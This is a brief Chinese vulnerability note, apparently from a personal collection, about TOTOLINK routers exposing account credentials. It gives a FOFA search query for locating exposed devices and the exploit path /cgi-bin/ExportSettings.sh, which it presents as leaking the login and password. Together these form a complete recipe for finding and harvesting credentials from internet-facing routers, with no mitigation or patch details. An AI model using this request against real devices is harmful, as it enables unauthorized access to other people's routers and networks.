# TOTOLINK存在泄漏账号密码泄露漏洞

# 一、漏洞简介
TOTOLINK存在泄漏账号密码泄露漏洞

# 二、影响版本
+ TOTOLINK

# 三、资产测绘
+ fofa`"TOTOLINK"`
+ 特征

![1722616502911-6584fab6-2545-4c39-afba-b538b3d04fea.png](./img/un9vgxuKVLRXxw_9/1722616502911-6584fab6-2545-4c39-afba-b538b3d04fea-761611.png)

# 四、漏洞复现
```http
/cgi-bin/ExportSettings.sh
```

![1722616415949-91023cc8-2ab9-4181-9d4b-a413b02d7045.png](./img/un9vgxuKVLRXxw_9/1722616415949-91023cc8-2ab9-4181-9d4b-a413b02d7045-360549.png)



> 更新: 2024-08-12 17:15:57  
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/dkxfq1s0ol3ebges>